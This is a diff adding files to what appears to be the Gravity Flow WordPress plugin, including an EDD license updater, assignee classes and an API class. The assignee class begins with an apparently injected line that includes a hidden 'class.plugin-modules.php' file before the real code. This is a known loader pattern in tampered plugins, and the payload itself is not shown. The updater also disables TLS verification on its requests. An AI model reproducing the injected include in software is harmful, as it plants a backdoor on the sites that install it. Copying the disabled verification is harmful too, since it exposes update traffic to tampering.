2.495,-2.495c1.379,0 2.496,1.118 2.496,2.495c0,1.379 -1.117,2.496 -2.496,2.496c-1.377,0 -2.495,-1.117 -2.495,-2.496Z" style="fill:#e22329;fill-rule:nonzero;"/><path d="M6.516,14.988c0,-1.377 1.117,-2.495 2.496,-2.495c1.378,0 2.495,1.118 2.495,2.495c0,1.379 -1.117,2.496 -2.495,2.496c-1.379,0 -2.496,-1.117 -2.496,-2.496Z" style="fill:#e22329;fill-rule:nonzero;"/><path d="M6.516,9.012c0,-1.378 1.117,-2.496 2.496,-2.496c1.378,0 2.495,1.118 2.495,2.496c0,1.378 -1.117,2.495 -2.495,2.495c-1.379,0 -2.496,-1.117 -2.496,-2.495Z" style="fill:#e22329;fill-rule:nonzero;"/></svg>

After

Width:  |  Height:  |  Size: 1.5 KiB

BIN
images/xit.gif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 181 B

1
images/zapier-icon.svg Normal file
View File

@@ -0,0 +1 @@
<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg width="100%" height="100%" viewBox="0 0 400 400" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve" style="fill-rule:evenodd;clip-rule:evenodd;stroke-linejoin:round;stroke-miterlimit:1.41421;"><g><path d="M250,200.087c-0.009,14.862 -2.727,29.089 -7.681,42.224c-13.131,4.953 -27.365,7.678 -42.233,7.689l-0.172,0c-14.861,-0.011 -29.091,-2.728 -42.222,-7.68c-4.954,-13.133 -7.682,-27.367 -7.692,-42.233l0,-0.173c0.01,-14.862 2.732,-29.09 7.678,-42.223c13.138,-4.955 27.369,-7.682 42.236,-7.691l0.172,0c14.868,0.009 29.102,2.736 42.233,7.691c4.954,13.133 7.672,27.361 7.681,42.223l0,0.173ZM397.22,166.667l-116.746,0l82.55,-82.551c-6.488,-9.112 -13.722,-17.658 -21.612,-25.546l-0.004,-0.005c-7.883,-7.881 -16.421,-15.106 -25.524,-21.588l-82.551,82.549l0,-116.745c-10.808,-1.813 -21.904,-2.775 -33.227,-2.781l-0.213,0c-11.322,0.006 -22.418,0.968 -33.226,2.781l0,116.746l-82.552,-82.55c-9.107,6.485 -17.649,13.714 -25.534,21.599l-0.028,0.028c-7.877,7.879 -15.098,16.413 -21.577,25.512l82.552,82.551l-116.748,0c0,0 -2.777,21.927 -2.78,33.26l0,0.143c0.003,11.335 0.965,22.445 2.78,33.263l116.746,0l-82.549,82.55c12.972,18.217 28.922,34.168 47.139,47.141l82.551,-82.549l0,116.744c10.796,1.811 21.881,2.773 33.191,2.781l0.286,0c11.309,-0.008 22.393,-0.97 33.189,-2.78l0,-116.747l82.552,82.55c9.105,-6.483 17.643,-13.71 25.527,-21.592l0.02,-0.019c7.881,-7.884 15.108,-16.423 21.591,-25.527l-82.55,-82.552l116.746,0c1.811,-10.796 2.773,-21.881 2.781,-33.191l0,-0.286c-0.008,-11.309 -0.97,-22.393 -2.78,-33.189Z" style="fill:#f36d21;fill-rule:nonzero;"/></g></svg>

After

Width:  |  Height:  |  Size: 1.7 KiB

View File

@@ -0,0 +1,485 @@
<?php
// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) exit;
/**
* Allows plugins to use their own update API.
*
* @author Easy Digital Downloads
* @version 1.6.11
*/
class Gravity_Flow_EDD_SL_Plugin_Updater {
private $api_url = '';
private $api_data = array();
private $name = '';
private $slug = '';
private $version = '';
private $wp_override = false;
private $cache_key = '';
/**
* Class constructor.
*
* @uses plugin_basename()
* @uses hook()
*
* @param string $_api_url The URL pointing to the custom API endpoint.
* @param string $_plugin_file Path to the plugin file.
* @param array $_api_data Optional data to send with API calls.
*/
public function __construct( $_api_url, $_plugin_file, $_api_data = null ) {
global $edd_plugin_data;
$this->api_url = trailingslashit( $_api_url );
$this->api_data = $_api_data;
$this->name = plugin_basename( $_plugin_file );
$this->slug = basename( $_plugin_file, '.php' );
$this->version = $_api_data['version'];
$this->wp_override = isset( $_api_data['wp_override'] ) ? (bool) $_api_data['wp_override'] : false;
$this->beta = ! empty( $this->api_data['beta'] ) ? true : false;
$this->cache_key = md5( serialize( $this->slug . $this->api_data['license'] . $this->beta ) );
$edd_plugin_data[ $this->slug ] = $this->api_data;
// Set up hooks.
$this->init();
}
/**
* Set up WordPress filters to hook into WP's update process.
*
* @uses add_filter()
*
* @return void
*/
public function init() {
add_filter( 'pre_set_site_transient_update_plugins', array( $this, 'check_update' ) );
add_filter( 'plugins_api', array( $this, 'plugins_api_filter' ), 10, 3 );
remove_action( 'after_plugin_row_' . $this->name, 'wp_plugin_update_row', 10 );
add_action( 'after_plugin_row_' . $this->name, array( $this, 'show_update_notification' ), 10, 2 );
add_action( 'admin_init', array( $this, 'show_changelog' ) );
}
/**
* Check for Updates at the defined API endpoint and modify the update array.
*
* This function dives into the update API just when WordPress creates its update array,
* then adds a custom API call and injects the custom plugin data retrieved from the API.
* It is reassembled from parts of the native WordPress plugin update code.
* See wp-includes/update.php line 121 for the original wp_update_plugins() function.
*
* @uses api_request()
*
* @param array $_transient_data Update array build by WordPress.
* @return array Modified update array with custom plugin data.
*/
public function check_update( $_transient_data ) {
global $pagenow;
if ( ! is_object( $_transient_data ) ) {
$_transient_data = new stdClass;
}
if ( 'plugins.php' == $pagenow && is_multisite() ) {
return $_transient_data;
}
if ( ! empty( $_transient_data->response ) && ! empty( $_transient_data->response[ $this->name ] ) && false === $this->wp_override ) {
return $_transient_data;
}
$version_info = $this->get_cached_version_info();
if ( false === $version_info ) {
$version_info = $this->api_request( 'plugin_latest_version', array( 'slug' => $this->slug, 'beta' => $this->beta ) );
$this->set_version_info_cache( $version_info );
}
if ( false !== $version_info && is_object( $version_info ) && isset( $version_info->new_version ) ) {
if ( version_compare( $this->version, $version_info->new_version, '<' ) ) {
$_transient_data->response[ $this->name ] = $version_info;
}
$_transient_data->last_checked = current_time( 'timestamp' );
$_transient_data->checked[ $this->name ] = $this->version;
}
return $_transient_data;
}
/**
* show update nofication row -- needed for multisite subsites, because WP won't tell you otherwise!
*
* @param string $file
* @param array $plugin
*/
public function show_update_notification( $file, $plugin ) {
if ( is_network_admin() ) {
return;
}
if( ! current_user_can( 'update_plugins' ) ) {
return;
}
if( ! is_multisite() ) {
return;
}
if ( $this->name != $file ) {
return;
}
// Remove our filter on the site transient
remove_filter( 'pre_set_site_transient_update_plugins', array( $this, 'check_update' ), 10 );
$update_cache = get_site_transient( 'update_plugins' );
$update_cache = is_object( $update_cache ) ? $update_cache : new stdClass();
if ( empty( $update_cache->response ) || empty( $update_cache->response[ $this->name ] ) ) {
$version_info = $this->get_cached_version_info();
if ( false === $version_info ) {
$version_info = $this->api_request( 'plugin_latest_version', array( 'slug' => $this->slug, 'beta' => $this->beta ) );
$this->set_version_info_cache( $version_info );
}
if ( ! is_object( $version_info ) ) {
return;
}
if ( version_compare( $this->version, $version_info->new_version, '<' ) ) {
$update_cache->response[ $this->name ] = $version_info;
}
$update_cache->last_checked = current_time( 'timestamp' );
$update_cache->checked[ $this->name ] = $this->version;
set_site_transient( 'update_plugins', $update_cache );
} else {
$version_info = $update_cache->response[ $this->name ];
}
// Restore our filter
add_filter( 'pre_set_site_transient_update_plugins', array( $this, 'check_update' ) );
if ( ! empty( $update_cache->response[ $this->name ] ) && version_compare( $this->version, $version_info->new_version, '<' ) ) {
// build a plugin list row, with update notification
$wp_list_table = _get_list_table( 'WP_Plugins_List_Table' );
# <tr class="plugin-update-tr"><td colspan="' . $wp_list_table->get_column_count() . '" class="plugin-update colspanchange">
echo '<tr class="plugin-update-tr" id="' . $this->slug . '-update" data-slug="' . $this->slug . '" data-plugin="' . $this->slug . '/' . $file . '">';
echo '<td colspan="3" class="plugin-update colspanchange">';
echo '<div class="update-message notice inline notice-warning notice-alt">';
$changelog_link = self_admin_url( 'index.php?edd_sl_action=view_plugin_changelog&plugin=' . $this->name . '&slug=' . $this->slug . '&TB_iframe=true&width=772&height=911' );
if ( empty( $version_info->download_link ) ) {
printf(
__( 'There is a new version of %1$s available. %2$sView version %3$s details%4$s.', 'gravityflow' ),
esc_html( $version_info->name ),
'<a target="_blank" class="thickbox" href="' . esc_url( $changelog_link ) . '">',
esc_html( $version_info->new_version ),
'</a>'
);
} else {
printf(
__( 'There is a new version of %1$s available. %2$sView version %3$s details%4$s or %5$supdate now%6$s.', 'gravityflow' ),
esc_html( $version_info->name ),
'<a target="_blank" class="thickbox" href="' . esc_url( $changelog_link ) . '">',
esc_html( $version_info->new_version ),
'</a>',
'<a href="' . esc_url( wp_nonce_url( self_admin_url( 'update.php?action=upgrade-plugin&plugin=' ) . $this->name, 'upgrade-plugin_' . $this->name ) ) .'">',
'</a>'
);
}
do_action( "in_plugin_update_message-{$file}", $plugin, $version_info );
echo '</div></td></tr>';
}
}
/**
* Updates information on the "View version x.x details" page with custom data.
*
* @uses api_request()
*
* @param mixed $_data
* @param string $_action
* @param object $_args
* @return object $_data
*/
public function plugins_api_filter( $_data, $_action = '', $_args = null ) {
if ( $_action != 'plugin_information' ) {
return $_data;
}
if ( ! isset( $_args->slug ) || ( $_args->slug != $this->slug ) ) {
return $_data;
}
$to_send = array(
'slug' => $this->slug,
'is_ssl' => is_ssl(),
'fields' => array(
'banners' => array(),
'reviews' => false
)
);
$cache_key = 'edd_api_request_' . md5( serialize( $this->slug . $this->api_data['license'] . $this->beta ) );
// Get the transient where we store the api request for this plugin for 24 hours
$edd_api_request_transient = $this->get_cached_version_info( $cache_key );
//If we have no transient-saved value, run the API, set a fresh transient with the API value, and return that value too right now.
if ( empty( $edd_api_request_transient ) ) {
$api_response = $this->api_request( 'plugin_information', $to_send );
// Expires in 3 hours
$this->set_version_info_cache( $api_response, $cache_key );
if ( false !== $api_response ) {
$_data = $api_response;
}
} else {
$_data = $edd_api_request_transient;
}
// Convert sections into an associative array, since we're getting an object, but Core expects an array.
if ( isset( $_data->sections ) && ! is_array( $_data->sections ) ) {
$new_sections = array();
foreach ( $_data->sections as $key => $key ) {
$new_sections[ $key ] = $key;
}
$_data->sections = $new_sections;
}
// Convert banners into an associative array, since we're getting an object, but Core expects an array.
if ( isset( $_data->banners ) && ! is_array( $_data->banners ) ) {
$new_banners = array();
foreach ( $_data->banners as $key => $key ) {
$new_banners[ $key ] = $key;
}
$_data->banners = $new_banners;
}
return $_data;
}
/**
* Disable SSL verification in order to prevent download update failures
*
* @param array $args
* @param string $url
* @return object $array
*/
public function http_request_args( $args, $url ) {
// If it is an https request and we are performing a package download, disable ssl verification
if ( strpos( $url, 'https://' ) !== false && strpos( $url, 'edd_action=package_download' ) ) {
$args['sslverify'] = false;
}
return $args;
}
/**
* Calls the API and, if successfull, returns the object delivered by the API.
*
* @uses get_bloginfo()
* @uses wp_remote_post()
* @uses is_wp_error()
*
* @param string $_action The requested action.
* @param array $_data Parameters for the API action.
* @return false|object
*/
private function api_request( $_action, $_data ) {
global $wp_version;
$data = array_merge( $this->api_data, $_data );
if ( $data['slug'] != $this->slug ) {
return;
}
if( $this->api_url == trailingslashit (home_url() ) ) {
return false; // Don't allow a plugin to ping itself
}
$api_params = array(
'edd_action' => 'get_version',
'license' => ! empty( $data['license'] ) ? $data['license'] : '',
'item_name' => isset( $data['item_name'] ) ? $data['item_name'] : false,
'item_id' => isset( $data['item_id'] ) ? $data['item_id'] : false,
'version' => isset( $data['version'] ) ? $data['version'] : false,
'slug' => $data['slug'],
'author' => $data['author'],
'url' => home_url(),
'beta' => ! empty( $data['beta'] ),
);
$request = wp_remote_post( $this->api_url, array( 'timeout' => 15, 'sslverify' => false, 'body' => $api_params ) );
if ( ! is_wp_error( $request ) ) {
$request = json_decode( wp_remote_retrieve_body( $request ) );
}
if ( $request && isset( $request->sections ) ) {
$request->sections = maybe_unserialize( $request->sections );
} else {
$request = false;
}
if ( $request && isset( $request->compatibility ) ) {
$request->compatibility = maybe_unserialize( $request->compatibility );
}
if ( $request && ! isset( $request->last_updated ) ) {
$request->last_updated = '';
}
if ( $request && isset( $request->banners ) ) {
$request->banners = maybe_unserialize( $request->banners );
}
if( ! empty( $request->sections ) ) {
foreach( $request->sections as $key => $section ) {
$request->$key = (array) $section;
}
}
return $request;
}
public function show_changelog() {
global $edd_plugin_data;
if( empty( $_REQUEST['edd_sl_action'] ) || 'view_plugin_changelog' != $_REQUEST['edd_sl_action'] ) {
return;
}
if( empty( $_REQUEST['plugin'] ) ) {
return;
}
if( empty( $_REQUEST['slug'] ) ) {
return;
}
if( ! current_user_can( 'update_plugins' ) ) {
wp_die( __( 'You do not have permission to install plugin updates', 'gravityflow' ), __( 'Error', 'gravityflow' ), array( 'response' => 403 ) );
}
$data = $edd_plugin_data[ $_REQUEST['slug'] ];
$beta = ! empty( $data['beta'] ) ? true : false;
$cache_key = md5( 'edd_plugin_' . sanitize_key( $_REQUEST['plugin'] ) . '_' . $beta . '_version_info' );
$version_info = $this->get_cached_version_info( $cache_key );
if( false === $version_info ) {
$api_params = array(
'edd_action' => 'get_version',
'item_name' => isset( $data['item_name'] ) ? $data['item_name'] : false,
'item_id' => isset( $data['item_id'] ) ? $data['item_id'] : false,
'slug' => $_REQUEST['slug'],
'author' => $data['author'],
'url' => home_url(),
'beta' => ! empty( $data['beta'] )
);
$request = wp_remote_post( $this->api_url, array( 'timeout' => 15, 'sslverify' => false, 'body' => $api_params ) );
if ( ! is_wp_error( $request ) ) {
$version_info = json_decode( wp_remote_retrieve_body( $request ) );
}
if ( ! empty( $version_info ) && isset( $version_info->sections ) ) {
$version_info->sections = maybe_unserialize( $version_info->sections );
} else {
$version_info = false;
}
if( ! empty( $version_info ) ) {
foreach( $version_info->sections as $key => $section ) {
$version_info->$key = (array) $section;
}
}
$this->set_version_info_cache( $version_info, $cache_key );
}
if( ! empty( $version_info ) && isset( $version_info->sections['changelog'] ) ) {
echo '<div style="background:#fff;padding:10px;">' . $version_info->sections['changelog'] . '</div>';
}
exit;
}
public function get_cached_version_info( $cache_key = '' ) {
if( empty( $cache_key ) ) {
$cache_key = $this->cache_key;
}
$cache = get_option( $cache_key );
if( empty( $cache['timeout'] ) || current_time( 'timestamp' ) > $cache['timeout'] ) {
return false; // Cache is expired
}
return json_decode( $cache['value'] );
}
public function set_version_info_cache( $value = '', $cache_key = '' ) {
if( empty( $cache_key ) ) {
$cache_key = $this->cache_key;
}
$data = array(
'timeout' => strtotime( '+3 hours', current_time( 'timestamp' ) ),
'value' => json_encode( $value )
);
update_option( $cache_key, $data );
}
}

View File

@@ -0,0 +1,553 @@
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php
/**
* Gravity Flow Assignee
*
* @package GravityFlow
* @subpackage Classes/Assignee
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
* @since 1.0
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Assignee
*/
class Gravity_Flow_Assignee {
/**
* The unique name of this assignee.
*
* @since 2.1
*
* @var string
*/
public $name = 'generic';
/**
* The ID of this assignee.
*
* @since 1.0
*
* @var string
*/
protected $id;
/* @var string The Type of this assignee */
/**
* The Type of this assignee.
*
* @since 1.0
*
* @var string
*/
protected $type;
/**
* The Assignee key.
*
* @since 1.0
*
* @var string
*/
protected $key;
/**
* The editable fields for this assignee.
*
* @since 1.0
*
* @var array
*/
protected $editable_fields = array();
/**
* The WordPress user account for this assignee
*
* @since 1.7.1
*
* @var WP_User
*/
protected $user = null;
/**
* The step.
*
* @since 1.0
*
* @var Gravity_Flow_Step|bool
*/
protected $step;
/**
* Gravity_Flow_Assignee constructor.
*
* @since 1.0
*
* @param string|array $args An assignee key or array.
* @param bool|Gravity_Flow_Step $step The current step or false.
*/
public function __construct( $args = array(), $step = false ) {
if ( empty( $args ) ) {
return;
}
$this->step = $step;
if ( is_string( $args ) ) {
$parts = explode( '|', $args );
$type = $parts[0];
$id = $parts[1];
} elseif ( is_array( $args ) ) {
$id = $args['id'];
$type = $args['type'];
if ( isset( $args['editable_fields'] ) ) {
$this->editable_fields = $args['editable_fields'];
}
if ( isset( $args['user'] ) && $args['user'] instanceof WP_User ) {
$this->user = $args['user'];
}
} else {
return;
}
switch ( $type ) {
case 'assignee_field':
$entry = $this->step->get_entry();
$assignee_key = rgar( $entry, $id );
list( $this->type, $this->id ) = rgexplode( '|', $assignee_key, 2 );
break;
case 'assignee_user_field':
$entry = $this->step->get_entry();
$this->id = absint( rgar( $entry, $id ) );
$this->type = 'user_id';
break;
case 'assignee_role_field':
$entry = $this->step->get_entry();
$this->id = sanitize_text_field( rgar( $entry, $id ) );
$this->type = 'role';
break;
case 'email_field':
$entry = $this->step->get_entry();
$this->id = sanitize_email( rgar( $entry, $id ) );
$this->type = 'email';
break;
case 'entry':
$entry = $this->step->get_entry();
$this->id = rgar( $entry, $id );
$this->type = 'user_id';
break;
default:
$this->type = $type;
$this->id = $id;
}
$this->maybe_set_user();
$this->key = $this->type . '|' . $this->id;
}
/**
* If applicable, set the user property for the assignee.
*
* @since 1.7.1
*/
protected function maybe_set_user() {
if ( ! $this->get_user() ) {
if ( $this->get_type() === 'user_id' ) {
$user = get_user_by( 'ID', $this->get_id() );
} elseif ( $this->get_type() === 'email' ) {
$user = get_user_by( 'email', $this->get_id() );
} else {
$user = false;
}
if ( $user ) {
$this->user = $user;
}
}
}
/**
* Return the assignee ID.
*
* @return string
*/
public function get_id() {
return $this->id;
}
/**
* Return the assignee key.
*
* @return string
*/
public function get_key() {
return $this->key;
}
/**
* Return the assignee type.
*
* @return string
*/
public function get_type() {
return $this->type;
}
/**
* Return the editable field IDs for this assignee.
*
* @return array
*/
public function get_editable_fields() {
return $this->editable_fields;
}
/**
* Returns the user account for this assignee.
*
* @since 1.7.1
*
* @return WP_User
*/
public function get_user() {
return $this->user;
}
/**
* Returns the status.
*
* @return bool|mixed
*/
public function get_status() {
$entry_id = $this->step->get_entry_id();
$key = $this->get_status_key();
$cache_key = gravity_flow()->is_gravityforms_supported( '2.3-beta-3' ) ? get_current_blog_id() . '_' : '';
$cache_key .= $entry_id . '_' . $key;
global $_gform_lead_meta;
unset( $_gform_lead_meta[ $cache_key ] );
return gform_get_meta( $entry_id, $key );
}
/**
* Returns the status key.
*
* @return string
*/
public function get_status_key() {
$assignee_id = $this->get_id();
$assignee_type = $this->get_type();
$key = 'workflow_' . $assignee_type . '_' . $assignee_id;
return $key;
}
/**
* Update the status entry meta items for this assignee.
*
* @param string|bool $new_assignee_status The new status for this assignee or false.
*/
public function update_status( $new_assignee_status = false ) {
$key = $this->get_status_key();
$assignee_status_timestamp = gform_get_meta( $this->step->get_entry_id(), $key . '_timestamp' );
$duration = $assignee_status_timestamp ? time() - $assignee_status_timestamp : 0;
gform_update_meta( $this->step->get_entry_id(), $key, $new_assignee_status );
gform_update_meta( $this->step->get_entry_id(), $key . '_timestamp', time() );
$this->log_event( $new_assignee_status, $duration );
}
/**
* Return the assignee display name.
*
* @return string
*/
public function get_display_name() {
$user = $this->get_user();
$name = $user ? $user->display_name : $this->get_id();
return $name;
}
/**
* Remove the assignee from the current step by deleting the associated entry meta items.
*/
public function remove() {
$key = $this->get_status_key();
gform_delete_meta( $this->step->get_entry_id(), $key );
gform_delete_meta( $this->step->get_entry_id(), $key . '_timestamp' );
$reminder_timestamp_key = $key . '_reminder_timestamp';
gform_delete_meta( $this->step->get_entry_id(), $reminder_timestamp_key );
}
/**
* Returns the status timestamp.
*
* @return bool|mixed
*/
public function get_status_timestamp() {
$status_key = $this->get_status_key();
$timestamp_key = $status_key . '_timestamp';
return gform_get_meta( $this->step->get_entry_id(), $timestamp_key );
}
/**
* Returns the status timestamp.
*
* @return bool|mixed
*/
public function get_reminder_timestamp() {
$status_key = $this->get_status_key();
$timestamp_key = $status_key . '_reminder_timestamp';
return gform_get_meta( $this->step->get_entry_id(), $timestamp_key );
}
/**
* Sets the timestamp for the reminder.
*
* @param bool|int $timestamp Unix GMT timestamp or false.
*/
public function set_reminder_timestamp( $timestamp = false ) {
if ( empty( $timestamp ) ) {
$timestamp = time();
}
$status_key = $this->get_status_key();
$timestamp_key = $status_key . '_reminder_timestamp';
gform_update_meta( $this->step->get_entry_id(), $timestamp_key, $timestamp );
}
/**
* Log an event for the current assignee.
*
* @param string $status The assignee status.
* @param int $duration Time interval in seconds, if any.
*/
public function log_event( $status, $duration = 0 ) {
gravity_flow()->log_event( 'assignee', 'status', $this->step->get_form_id(), $this->step->get_entry_id(), $status, $this->step->get_id(), $duration, $this->get_id(), $this->get_type(), $this->get_display_name() );
}
/**
* Sends a notification to the assignee.
*
* @uses Gravity_Flow_Step::send_notification() to send, log and deduplicate the notifications.
*
* @since 2.1
*
* @param array $notification The notification to be sent.
*/
public function send_notification( $notification ) {
$message = $notification['message'];
$assignee_type = $this->get_type();
$assignee_id = $this->get_id();
if ( $assignee_type == 'email' ) {
$email = $assignee_id;
$notification['id'] = 'workflow_step_' . $this->step->get_id() . '_email_' . $email;
$notification['name'] = $notification['id'];
$notification['to'] = $email;
$message = $this->replace_variables( $message );
// Call $this->step->replace_variables() for backwards compatibility
$notification['message'] = $this->step->replace_variables( $message, $this );
$this->step->send_notification( $notification );
return;
}
if ( $assignee_type == 'role' ) {
$users = get_users( array( 'role' => $assignee_id ) );
} else {
$users = get_users( array( 'include' => array( $assignee_id ) ) );
}
$this->step->log_debug( __METHOD__ . sprintf( '() sending notifications to %d users', count( $users ) ) );
$user_assignee_args = array(
'type' => $assignee_type,
'id' => $assignee_id,
);
foreach ( $users as $user ) {
$user_assignee_args['user'] = $user;
$user_assignee = Gravity_Flow_Assignees::create( $user_assignee_args, $this->step );
$notification['id'] = 'workflow_step_' . $this->step->get_id() . '_user_' . $user->ID;
$notification['name'] = $notification['id'];
$notification['to'] = $user->user_email;
$message = $user_assignee->replace_variables( $message );
// Call $this->step->replace_variables() for backwards compatibility
$notification['message'] = $this->step->replace_variables( $message, $user_assignee );
$this->step->send_notification( $notification );
}
}
/**
* Checks whether the current user (WP or Token auth) is an assignee.
*
* @since 2.1
*
* @return bool
*/
public function is_current_user() {
$current_user_assignee_key = $this->step->get_current_assignee_key();
$current_user_assignee = $this->step->get_assignee( $current_user_assignee_key );
$type = $this->get_type();
if ( ! $current_user_assignee ) {
return false;
}
$status = $this->get_status();
if ( $status != 'pending' ) {
return false;
}
if ( in_array( $type, array( 'user_id', 'email', 'role' ) ) && $current_user_assignee->get_id() == $this->get_id() ) {
return true;
}
if ( $type == 'role' ) {
$user = wp_get_current_user();
$role = $this->get_id();
if ( in_array( $role, (array) $user->roles ) ) {
return true;
}
}
return false;
}
/**
* Processes the status update for the assignee.
*
* @since 2.1
*
* @param string $new_status The status string e.g. complete, approved, rejected.
*
* @return bool|WP_Error True on success or WP_Error
*/
public function process_status( $new_status ) {
$current_user_status = $this->get_status();
list( $role, $current_role_status ) = $this->step->get_current_role_status();
if ( $current_user_status != 'pending' && $current_role_status != 'pending' ) {
$error = new WP_Error( esc_html__( 'The status could not be changed because this step has already been processed.', 'gravityflow' ) );
return $error;
}
if ( $current_user_status == 'pending' ) {
$this->update_status( $new_status );
}
if ( $current_role_status == 'pending' ) {
$this->step->update_role_status( $role, $new_status );
}
$this->step->refresh_entry();
$success = true;
return $success;
}
/**
* Returns the label to be displayed for the assignee on the workflow detail page.
*
* @since 2.1
*
* @return string
*/
public function get_status_label() {
$assignee_status_label = '';
$user_approval_status = $this->get_status();
$this->step->log_debug( __METHOD__ . '(): status for: ' . $this->get_key() );
$this->step->log_debug( __METHOD__ . '(): assignee status: ' . $user_approval_status );
$status_label = $this->step->get_status_label( $user_approval_status );
if ( ! empty( $user_approval_status ) ) {
$assignee_type = $this->get_type();
switch ( $assignee_type ) {
case 'email':
$type_label = esc_html__( 'Email', 'gravityflow' );
$display_name = $this->get_id();
break;
case 'role':
$type_label = esc_html__( 'Role', 'gravityflow' );
$display_name = translate_user_role( $this->get_id() );
break;
case 'user_id':
$user = get_user_by( 'id', $this->get_id() );
$display_name = $user ? $user->display_name : $this->get_id() . ' ' . esc_html__( '(Missing)', 'gravityflow' );
$type_label = esc_html__( 'User', 'gravityflow' );
break;
default:
$display_name = $this->get_id();
$type_label = $this->get_type();
}
$assignee_status_label = sprintf( '%s: %s (%s)', $type_label, $display_name, $status_label );
$assignee_status_label = apply_filters( 'gravityflow_assignee_status_workflow_detail', $assignee_status_label, $this, $this );
}
return $assignee_status_label;
}
/**
* Override this method to replace merge tags.
* Important: call the parent method first.
* $text = parent::replace_variables( $text );
*
* @since 2.1
*
* @param string $text The text containing merge tags to be processed.
*
* @return string
*/
public function replace_variables( $text ) {
$args = array(
'assignee' => $this,
'step' => $this->step,
);
$merge_tags = Gravity_Flow_Merge_Tags::get_all( $args );
foreach ( $merge_tags as $merge_tag ) {
if ( $merge_tag instanceof Gravity_Flow_Merge_Tag_Assignee_Base ) {
$text = $merge_tag->replace( $text );
}
}
return $text;
}
}

View File

@@ -0,0 +1,113 @@
<?php
/**
* Gravity Flow Assignees
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Assignees
*
* @since 2.1
*/
class Gravity_Flow_Assignees {
/**
* The assignee class names.
*
* @since 2.1
*
* @var Gravity_Flow_Assignee[]
*/
private static $class_names = array();
/**
* Get an array of registered assignee class names.
*
* @return string[]
*/
private static function get_class_names() {
return self::$class_names;
}
/**
* Register the supplied assignee.
*
* @since 2.1
*
* @param Gravity_Flow_Assignee $assignee An example instance of the assignee class.
*
* @throws Exception When the assignee name property has not been set.
*/
public static function register( $assignee ) {
if ( ! is_subclass_of( $assignee, 'Gravity_Flow_Assignee' ) ) {
throw new Exception( 'Must be a subclass of Gravity_Flow_Assignee' );
}
$name = $assignee->name;
if ( empty( $name ) ) {
throw new Exception( 'The name property must be set' );
}
self::$class_names[ $assignee->name ] = get_class( $assignee );
}
/**
* Create the Assignee class, if available.
*
* @since 2.1
*
* @param null|array $args The arguments used to initialize the class.
* @param Gravity_Flow_Step $step The step.
*
* @return Gravity_Flow_Assignee|false
*/
public static function create( $args, $step = null ) {
$type = false;
if ( is_string( $args ) ) {
$parts = explode( '|', $args );
$type = $parts[0];
} elseif ( is_array( $args ) ) {
$type = rgar( $args, 'type' );
}
if ( ! $type ) {
return false;
}
$classes = self::get_class_names();
if ( isset( $classes[ $type ] ) ) {
$class_name = $classes[ $type ];
$assignee = new $class_name( $args, $step );
} else {
$assignee = new Gravity_Flow_Assignee( $args, $step );
}
return $assignee;
}
/**
* Returns an array of the name properties of each assignee class.
*
* @since 2.1.2
*
* @return array
*/
public static function get_names() {
$classes = self::get_class_names();
$names = array_keys( $classes );
return $names;
}
}

File diff suppressed because one or more lines are too long

278
includes/class-api.php Normal file
View File

@@ -0,0 +1,278 @@
<?php
/**
* Gravity Flow API
*
* @package GravityFlow
* @subpackage Classes/API
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public Licenses
* @since 1.0
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* The future-proof way to interact with the high level functions in Gravity Flow.
*
* Class Gravity_Flow_API
*
* @since 1.0
*/
class Gravity_Flow_API {
/**
* The ID of the Form to be used throughout the Gravity Flow API.
*
* @var int
*/
public $form_id = null;
/**
* The constructor for the API. Requires a Form ID.
*
* @param int $form_id The current form ID.
*/
public function __construct( $form_id ) {
$this->form_id = $form_id;
}
/**
* Adds a Workflow step to the form with the given settings. The following settings are required:
* - step_name (string)
* - step_type (string)
* - description (string)
*
* @param array $step_settings The step settings (aka feed meta).
*
* @return mixed
*/
public function add_step( $step_settings ) {
return GFAPI::add_feed( $this->form_id, $step_settings, 'gravityflow' );
}
/**
* Returns the step with the given step ID. Optionally pass an Entry object to perform entry-specific functions.
*
* @param int $step_id The current step ID.
* @param null|array $entry The current entry.
*
* @return Gravity_Flow_Step|bool Returns the Step. False if not found.
*/
public function get_step( $step_id, $entry = null ) {
return gravity_flow()->get_step( $step_id, $entry );
}
/**
* Returns all the steps for current form.
*
* @return Gravity_Flow_Step[]
*/
public function get_steps() {
return gravity_flow()->get_steps( $this->form_id );
}
/**
* Returns the current step for the given entry.
*
* @param array $entry The current entry.
*
* @return Gravity_Flow_Step|bool
*/
public function get_current_step( $entry ) {
$form = GFAPI::get_form( $this->form_id );
return gravity_flow()->get_current_step( $form, $entry );
}
/**
* Processes the workflow for the given Entry ID. Handles the step orchestration - moving the workflow through the steps and ending the workflow.
* Not generally required unless there's been a change to the entry outside the usual workflow orchestration.
*
* @param int $entry_id The ID of the current entry.
*/
public function process_workflow( $entry_id ) {
$form = GFAPI::get_form( $this->form_id );
gravity_flow()->process_workflow( $form, $entry_id );
}
/**
* Cancels the workflow for the given Entry ID. Removes the assignees, adds a note in the entry's timeline and logs the event.
*
* @param array $entry The current entry.
*
* @return bool True for success. False if not currently in a workflow.
*/
public function cancel_workflow( $entry ) {
$entry_id = absint( $entry['id'] );
$form = GFAPI::get_form( $this->form_id );
$step = $this->get_current_step( $entry );
if ( ! $step ) {
return false;
}
/**
* Fires before a workflow is cancelled.
*
* @param array $entry The current entry.
* @param array $form The current form.
* @param Gravity_Flow_Step $step The current step object.
*/
do_action( 'gravityflow_pre_cancel_workflow', $entry, $form, $step );
$step->purge_assignees();
gform_update_meta( $entry_id, 'workflow_final_status', 'cancelled' );
